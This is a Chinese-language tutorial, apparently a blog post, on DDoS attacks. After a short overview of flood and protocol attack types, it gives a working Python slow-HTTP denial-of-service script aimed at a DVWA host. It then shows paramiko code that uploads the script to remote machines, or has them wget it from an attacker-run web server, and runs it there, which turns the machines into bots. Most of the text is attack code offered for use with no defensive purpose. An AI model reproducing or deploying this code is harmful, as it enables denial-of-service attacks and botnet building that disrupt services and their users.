一、什么是DDoS攻擊
DDoS攻擊就是分布式的拒絕服務(wù)攻擊,DDoS攻擊手段是在傳統(tǒng)的DoS攻擊基礎(chǔ)之上產(chǎn)生的一類攻擊方式。單一的DoS攻擊一般是采用一對一方式的,隨著計算機與網(wǎng)絡(luò)技術(shù)的發(fā)展,DoS攻擊的困難程度加大了。于是就產(chǎn)生了DDoS攻擊,它的原理就很簡單:計算機與網(wǎng)絡(luò)的處理能力加大了10倍,用一臺攻擊機來攻擊不再能起作用,那么DDoS就是利用更多的傀儡機來發(fā)起進攻,以比從前更大的規(guī)模來進攻受害者。
二、DDoS分類
作為目前最強大、最難防御的攻擊之一,DDos攻擊主要分為兩種。
以力取勝:海量的數(shù)據(jù)包從互聯(lián)網(wǎng)各個角落蜂擁而來,堵塞IDC入口,典型的為ICMP Flood和UDP Flood(消耗帶寬)。
以巧取勝:主要是利用協(xié)議或者軟件的漏洞發(fā)起,如Slowloris攻擊,hash沖突。(協(xié)議攻擊)
混合:上述兩種混合,即利用協(xié)議、系統(tǒng)的缺陷,又具備海量的資源,如SYN Flood攻擊,DNS Query Flood攻擊。
三、編寫DDoS攻擊腳本
import socketimport timeimport threadingMAX_CONN = 100PORT = 80HOST = "10.16.53.180"PAGE = "/DVWA"buf = ("GET %s HTTP/1.1\r\n""Host: %s\r\n""User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n""Content-Length: 1000000000\r\n""\r\n" % (PAGE, HOST)) socks = []defconn_thread():global socks for i inrange(0, MAX_CONN): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((HOST, PORT)) s.send(bytes(buf, encoding='utf-8')) print("[+] Send buf OK!,conn=%d" % i) socks.append(s) except Exception as ex: print("[-] Could not connect to server or send error:%s" % ex) time.sleep(2)defsend_thread():global socks for i inrange(10): for s in socks: try: s.send(bytes("ddos", encoding='utf-8')) print("[+] send OK!") except Exception as ex: print("[-] send Exception:%s" % ex) socks.remove(s) s.close() time.sleep(1)conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())conn_th.start()send_th.start()
直接通過python的paramiko
模塊上傳文件到遠端:
import paramikot = paramiko.Transport(("IP地址",22))t.connect(username = "用戶名", password = "密碼")sftp = paramiko.SFTPClient.from_transport(t)remotepath='/home/ddos.py'localpath='D:\ddos\ddos.py'sftp.put(localpath,remotepath)t.close()
在本地開啟apache服務(wù),向遠端發(fā)送wget http://10.16.14.171/ddos.py -O ddos.py
指令,下載apache服務(wù)器目錄下的ddos.py腳本:
import paramikossh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())ssh.connect('10.16.66.71', 22, '用戶名', '密碼')stdin, stdout, stderr = ssh.exec_command('wget http://10.16.14.171/ddos.py -O ddos.py')
上述兩種辦法適用于Windows平臺,想在linux平臺上實現(xiàn),可以使用pexpect
模塊實現(xiàn)ssh連接。
運行腳本:
stdin, stdout, stderr = ssh.exec_command('python3 ddos.py')